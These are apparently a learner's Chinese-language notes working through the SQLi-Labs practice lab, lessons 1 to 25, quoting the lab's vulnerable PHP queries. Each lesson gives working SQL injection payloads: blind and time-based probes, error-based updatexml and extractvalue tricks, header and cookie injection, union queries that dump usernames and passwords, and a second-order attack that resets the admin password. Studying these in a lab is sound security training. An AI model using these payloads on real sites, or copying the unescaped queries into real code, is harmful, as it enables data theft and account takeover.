SQLi-Labs学习笔记

结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。

我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。

Less-1

关键代码:

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

可以看到对于直接 GET 进来的文本没有过滤。
同时,在查询语句中,id=’$id’,变量加了引号。这里引号的意思是把输入的 id 当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。

?id=12a             显示id为12的用户
?id=1a2a            显示id为1的用户
?id=102a            显示id为102的用户(不存在)
盲注
?id=1%27and+left(version(),1)=5%23                得出数据库版本为5开头
?id=1%27and+length(database())=8%23               数据库名长度为8
?id=1%27and+left(database(),8)='security'%23      数据库为security
?id=1%27and+length(username)=4%23                 用户名长度为4
?id=1%27and+left(username,4)='Dumb'%23            用户名为Dumb
?id=1%27and+length(password)=4%23                 密码长度为4
?id=1%27and+left(password,4)='Dumb'%23            密码为Dumb

Less-2

关键代码:

$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;

同样未做过滤,但此处的变量 id 无引号。大概是直接将变量 id 当做整形传入查询。

?id=12  显示 id 为 12 的用户
?id=12a 报错:Unknown column '12a' in 'where clause'
?id=%31 显示 id 为 1 的用户
注入测试:
?id=1+and+left(version(),1)=5 直接注入即可得到版本号

Less-3

关键代码:

$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;

未过滤,但变量 id 加了引号和括号。将变量 id 以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。

注入测试:
?id=12+and+1=1           显示正确
?id=12+an                不完全语句也显示正确
猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。
?id=12%27                        成功报错:''12'') LIMIT 0,1' at line 1
?id=1%27%29and+1=2%23                                无显示,可注入
上面那条语句还原到 SQL 语句时,为:
SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1

将括号提前结束且用 #号注释掉接下来的语句。接下来的注入只要替换 and 1=1 语句就行了。

Less-4

关键代码:

$id = ‘“‘ . $id . ‘“‘;

$sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”;

对变量 id 做了处理。该处理在 id 前后添加双引号。

?id=1%22%29+and+1=2%23            无显示,可注入
SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1

Less-5

关键代码:

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

?id=1'and+1=2#

Less-6

关键代码:

$id = ‘“‘.$id.’”‘;

$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;

?id=1"and+1=2#

Less-7

关键代码:

$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;

?id=1'))and 1=2#

Less-8

关键代码:

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

?id=1' and 1=2#

Less-9

尝试了很多次,各种组合,但是服务器返回的结果都是一样。
尝试 ?id=10000000000
返回结果也是正确,因为不存在这么大的 id,所以判断这个页面把正确和错误的信息全部返回一致。
于是,使用基于时间的注入,构造以下语句:

?id=1' and sleep(5) %23

如果错误,则服务器处理5秒再返回,否则直接返回,找到正确的注入点。

?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

第一个语句暂停五秒第二个直接返回,判断数据库名的第一个字母为s(ascii为115)

Less-10

又是一个基于时间的注入,尝试了下,注入点在这:

?id=1" and sleep(5) %23

Less-11

这个页面采用 POST 的方法得到数据。于是用 HackBar 修改 post 数据进行测试:

uname=admin&passwd=123'
显示:
 ''123'' LIMIT 0,1' 
去掉单引号
'123'' LIMIT 0,1
再去掉密码的单引号
123' LIMIT 0,1

所以确定是单引号注入,直接万能密钥试试:

uname=admin' or '1'='1 &passwd=123456

这里的话有个点:

如果输入:uname=admin’ or ‘1’=’1 &passwd=123456,会显示失败,为什么呢?

首先and的优先级高于or 【就是and先运算】

那么’1’=’1’ and password=’123456’先运算,因为users表里面的password字段没有一个数据时test,右边是false,那么整个表达式就是false

这个时候整个的语句就是:

SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1

数据库里没有test用户,所以就失败了。

而万能密钥的语句是:

SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1

对于上述的情况,我们在密码字段加入即可

uname=test&passwd=123456' or '1'='1

SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1

Less-12

先尝试单引号,双引号。

输入:

uname=test&passwd=123456”

报错:

‘“123456””) LIMIT 0,1’

123456”) LIMIT 0,1

构造POC:

uname=test&passwd=123456”) or “1”=”1”#

Less-13

先尝试单引号,双引号。

输入:

uname=test&passwd=123456’

报错:

‘’123456’’) LIMIT 0,1’

123456’) LIMIT 0,1

构造POC:

uname=test&passwd=123456’) or (‘1’)=(‘1

或者

uname=test&passwd=123456’) or “1”=”1”#

Less-14

先尝试单引号,双引号。

输入:

uname=test&passwd=123456”

报错:

‘“123456”” LIMIT 0,1’

123456” LIMIT 0,1

构造POC:

uname=test&passwd=123456” or “1”=”1”#

或者

uname=test&passwd=123456” or “1”=”1

Less-15

这里输入单引号,双引号就不会报错了,我们只能加上永真永假或者时间延迟函数了。

测试发现时间延迟不行。

uname=test&passwd=123456’ or 1=1#

直接成功了,

试一下盲注也是可以得。

uname=test&passwd=123456’ or length(database())=8#

Less-16

uname=test&passwd=123456”) or 1=1#

成功登陆,时间延迟注入试试

uname=test&passwd=123456")  or if(length(database())=7,1,sleep(5)) #
暂停,说明不对
uname=test&passwd=123456")  or if(length(database())=8,1,sleep(5)) #
成功登陆

Less-17

uname=admin&passwd=123456' where username='admin' and 1=2 #
对应的SQL语句是:
UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'

Less-18

这是 Header 注入。

意思是,从服务器要求的 Header 头里面找到可以注入的注入点。

从源代码可以看出,服务器将 Header 里面的 user-agent 的值没有经过过滤就带入了 insert into 语句,这就造成了注入。

$uagent = $_SERVER['HTTP_USER_AGENT'];
...
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

首先,抓包。

还有一个问题就是,insert into 语句要在登陆成功后才能执行,所以必须输入正确的用户和密码再抓包。

xpath注入:
payload:updatexml(1,concat(0x7e,(version())),0)
第一个参数是 目标xml
第二个参数是 xpath的表达式,这个看w3c那个xpath教程
第三个参数是 要将xpath的表达式的东西将目标xml替换成什么

POC:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")#
XPATH syntax error: ':5.5.47'

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")
XPATH syntax error: ':Dumb'

Less-19

POC:

Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")#
响应:
Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1")
XPATH syntax error: ':5.5.47'

这里也可以用一个报错函数extractvalue

第一个参数也是个xml,第二个参数就是xpath的表达式,这个函数是获取xml中某个节点的值

与updatexml一次只能更新一个节点不同,extractvalue可以一次获取多个节点的值,并以空格分隔

POC:

Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')#
XPATH syntax error: ':5.5.47'

Less-20

这题用 Cookies 注入

POC:

Cookie: uname=admin';
报错
Cookie: uname=admin' order by 3#;
正常显示
Cookie: uname=admin' order by 4#;
报错,所以是三个字段
Cookie: uname=admin' and 1=2 union select 1,2,3#;
显示2,3
Cookie: uname=admin' and 1=2 union select 1,database(),version()#;
数据库:security,版本:5.5.47
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#;
表名:emails,referers,uagents,users,这里也可以用limit语句
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#;
字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#;
内容:Your Login name:Dumb Your Password:Dumb

Less-21

cookies 注入

但是,这一次的 cookies 是加密的.

setcookie('uname', base64_encode($row1['username']), time()+3600);
...
$cookee = base64_decode($cookee);

POC:

') union select 1,2,username from users#
JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw==
显示密码Dumb

Less-22

单引号换成双引号就行了

uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj
Your Login name:2
Your Password:Dum

Less-23

这一题它在输入的时候过滤了几个字符

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

所以,我们不能用 #来注释掉剩下的查询语句。

那么该怎么办呢?

一个办法就是,让剩下的语句变得完整就行。

查询语句的代码为:

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;

构造语句:

?id=1’and+’1’=’1

Less-24

二次注入

与数据库交互的有三个页面:login_create.php,login.php,pass_change.php

login_create.php,登陆页面对用户和密码都进行了处理。

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

login_create.php对新建用户进行处理

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

pass_change.php是修改密码的

关键代码:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{    
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    ...

可以发现

$sql = “UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’ “;

更改密码时$username没有任何过滤,直接带入进去,如果$username后面有个注释符,那么我们可以直接绕过验证$curr_pass而直接更改密码。

所以我们要建一个有注释符的特殊用户

用户名:admin'+#+
密码: 123456

然后登陆,进入更改密码页面

随便输入当前密码,然后输入我们要更改的密码

YOU ARE LOGGED IN AS
admin' # 

You can Change your password here.
Current Password: 123    
New Password:     123456
Retype Password:     123456

提交,你会发现,admin的密码已经被我们改成123456了。

Less-25

这题的意思是,“你的 AND 和 OR 都是我们的了!”…

就是,AND 和 OR 全部都被过滤掉了。

AND==&&
OR==||

?id=1' && '1'='1
url编码
?id=1' %26%26 '1'='1
大爷,赏个铜板呗!